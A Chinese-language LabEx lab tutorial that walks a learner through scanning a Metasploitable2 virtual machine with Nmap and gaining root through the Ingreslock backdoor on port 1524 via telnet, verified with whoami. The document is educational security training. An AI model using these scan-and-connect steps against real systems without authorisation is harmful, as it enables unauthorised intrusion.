使用 Nmap 攻击 Ingreslock 漏洞

NmapBeginner
立即练习

介绍

在本实验中,你将学习如何利用 Ingreslock 服务漏洞获取目标机器的 root 权限。实验环境基于 LabEx 提供的 Kali 和 Metasploitable2 虚拟机。本实验的目标是理解 Ingreslock 漏洞,使用 Nmap 进行渗透扫描,并最终通过利用 Ingreslock 后门获取 Metasploitable2 机器的 root 权限。

了解 Ingreslock 漏洞并搭建环境

Ingreslock 漏洞是一个古老但仍然具有相关性的安全缺陷,与 Ingres 数据库管理系统(DBMS)相关。攻击者通常将 TCP 端口 1524 用作后门端口,以维持对受攻击系统的访问。

在这一步中,你将了解 Ingreslock 漏洞及其影响。

Ingreslock 漏洞的根源在于,TCP 端口 1524 通常被攻击者在成功入侵系统后用作后门监听端口。利用此漏洞的简单性在于,只需连接到开放的端口即可获得目标机器的 root 级别访问权限。

尽管此漏洞被认为是古老的,但它仍然存在于一些遗留系统中,因此在受控环境中理解和探索它仍然具有价值。

  1. 在 LabEx 主机上打开一个 xfce 终端,并通过运行以下命令启动 Metasploitable2 目标机:
sudo virsh start Metasploitable2

等待目标机器启动,可能需要 1-3 分钟。

  1. 通过 ping 测试与目标机的连接性:
ping 192.168.122.102

Ctrl+C 停止 ping。

  1. 启动 Kali Linux 容器并通过以下命令进入 bash 环境:
docker run -ti --network host b5b709a49cd5 bash
  1. 在 Kali 容器内,测试与目标机的网络连接:
ping 192.168.122.102

Ctrl+C 停止 ping。

进行渗透扫描

在这一步中,你将使用 Nmap 对 Metasploitable2 目标机执行渗透扫描,以识别目标机上开放的端口和运行的服务。

  1. 启动 Metasploitable2 虚拟机并确保其正在运行。
  2. 启动 Kali 容器并进入 bash shell。
  3. 在 Kali 容器内,运行以下命令对目标机执行全面扫描:
nmap -sV -T4 target-ip-address

-sV 选项指示 Nmap 探测开放端口以确定服务/版本信息,而 -T4 将定时模板设置为激进级别(从 0 到 5 的更高值会增加激进程度)。

启动 PostgreSQL 服务并初始化 Metasploit 数据库:

cd ~
service postgresql start
msfdb init

启动 Metasploit 控制台:

msfconsole

对目标机执行全面扫描:

nmap -sV -T4 192.168.122.102

以下是你可能看到的输出示例:

[*] exec: nmap -sV -T4 192.168.122.102

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-24 20:47 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0037s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec?
513/tcp  open  login
514/tcp  open  shell?

...

这一系列命令启动了 PostgreSQL 服务,初始化了 Metasploit 数据库,启动了 Metasploit 控制台,然后使用 Nmap 对目标机执行了全面扫描。

按 Ctrl+D 退出 Metasploit 控制台,然后开始检查

利用 Ingreslock 后门

在这一步中,你将利用 Ingreslock 后门漏洞获取 Metasploitable2 目标机的 root 权限。

  1. 首先,如果你不在 Metasploit 控制台中,请启动 Metasploit 控制台:
cd ~
msfconsole
  1. 在 Metasploit 控制台中安装 telnet 包:
apt-key del ED444FF07D8D0BF6 && apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ED444FF07D8D0BF6 && apt update && apt install telnet
  1. 使用 telnet 命令连接到目标机的 Ingreslock 后门端口:
telnet 192.168.122.102 1524

如果连接成功,你应该会获得目标机的 root 权限。

  1. 现在,你需要通过检查被入侵机器的 IP 地址、主机名和当前用户来验证 Ingreslock 后门的利用是否成功。通过 Ingreslock 后门连接到目标机后,运行以下命令:

检查被入侵机器的 IP 地址:

ifconfig

检查被入侵机器的主机名:

hostname

检查被入侵机器的当前用户:

whoami

如果利用成功,你应该会看到目标机的 IP 地址、主机名以及当前用户为 root

按 Ctrl+D 退出 Metasploit 控制台,然后开始检查

总结

在本实验中,你了解了 Ingreslock 漏洞,该漏洞允许攻击者通过连接到 TCP 端口 1524 获取受攻击系统的 root 权限。你使用 Nmap 执行了渗透扫描,以识别目标机上开放的端口和服务。在检测到 Ingreslock 后门端口后,你利用 telnet 命令成功利用了该漏洞,获取了 root 权限。最后,你通过检查被入侵机器的 IP 地址、主机名和当前用户,验证了漏洞利用的成功。本实验为你提供了理解和利用真实世界漏洞的实践经验,强调了安全补丁和系统加固以防止此类后门的重要性。